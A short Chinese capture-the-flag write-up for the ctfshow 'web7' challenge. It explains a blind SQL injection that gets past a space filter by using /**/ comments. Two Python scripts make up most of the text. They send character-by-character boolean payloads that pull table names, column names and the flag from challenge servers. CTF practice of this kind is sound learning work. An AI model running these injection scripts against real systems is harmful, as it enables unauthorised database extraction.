ctfshow—web—web7

打开靶机

发现是SQL注入，盲注

过滤了空格符，可以用/**/绕过，抓包

直接上脚本

import requests
s=requests.session()
url='https://46a0f98e-cdc3-413d-b67c-b2dbaeb5c4ec.chall.ctf.show/index.php'
table=""

for i in range(1,45):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        #payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break

附上群内羽师傅的脚本

url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url):                    #爆库名
    for i in range(1,5):
        for j in range(32,128):
            u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
            s = url+u
            print(s)
            r =  requests.get(s)
            if 'By Rudyard Kipling' in r.text:
                print(chr(j))
 
def table(url):                    #爆表名
    for i in range(4):
        table_name=''
        for j in range(1,6):
            for k in range(48,128):
                u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
                s = url+u
                print(s)
                r =  requests.get(s)
                if 'By Rudyard Kipling' in r.text:
                    table_name+=chr(k)
            print(table_name)

跑表名

跑字段名

跑字段信息

拿到flag